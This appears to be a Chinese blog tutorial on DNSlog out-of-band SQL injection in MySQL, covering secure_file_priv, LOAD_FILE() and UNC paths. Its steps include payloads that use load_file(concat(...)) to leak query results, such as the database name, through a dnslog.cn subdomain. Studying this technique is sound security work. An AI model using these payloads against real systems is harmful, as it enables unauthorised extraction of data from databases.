注入有回显-DNS请求注入:原理、平台、使用过程、配置
注入有回显-DNS请求注入:原理、平台、使用过程、配置
目录
一、DNS请求注入
1.1、DNSlog平台:
1.2、DNSlog注入原理
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据,手工测试是需要花费大量的时间,使用sqlmap直接去跑出数据,但是有很大的几率,网站把ip给封掉,这就影响了测试进度
二、前提条件:
2.1、简介:
dns带外查询属于MySQL注入
在MySQL中有个系统属性,secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
2.2、查看配置:
是否配置好,打开数据库
因为我的secure_file_priv设置过,所以没有任何限制
2.3、配置设置:
打开MySQL文件夹,打开my.ini配置文件
把这里改为空,如果没有这一段代码,则手动加上去
然后重启数据库
2.4、相关函数:
LOAD_FILE()函数
读取一个文件并将其内容作为字符串返回
语法:load_file(文件的完整路径)
此函数使用需要满足的条件
文件必须位于服务器主机上,具有该FILE权限才能读取该文件,拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,并且它的大小小于max_allowed_packet字节
2.5、UNC路径
格式为
\\servername\sharename\……
servername 是服务器名,sharename 是共享资源的名称
三、DNSlog注入过程:
3.1、第一步:Get SubDomain 获得域名
3.2、第二步:构造注入语句
(根据实际情况构造)
select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))
select load_file(concat('\\\\',(select database()),'.casro0.dnslog.cn\\123'))
load_file()函数访问的是文件,所以域名后面需要添加/abc
成功注入后,在数据库中运行
3.3、第三步:查看域名头部,带出了查询的信息
注意:外带信息有特殊字符,如@
可以将查询语句后的结果进行转码
即上面的(select database())-------->hex(select database())等形式
四、DNSlongsqlinj工具
- 点赞
- 收藏
- 关注作者
评论(0)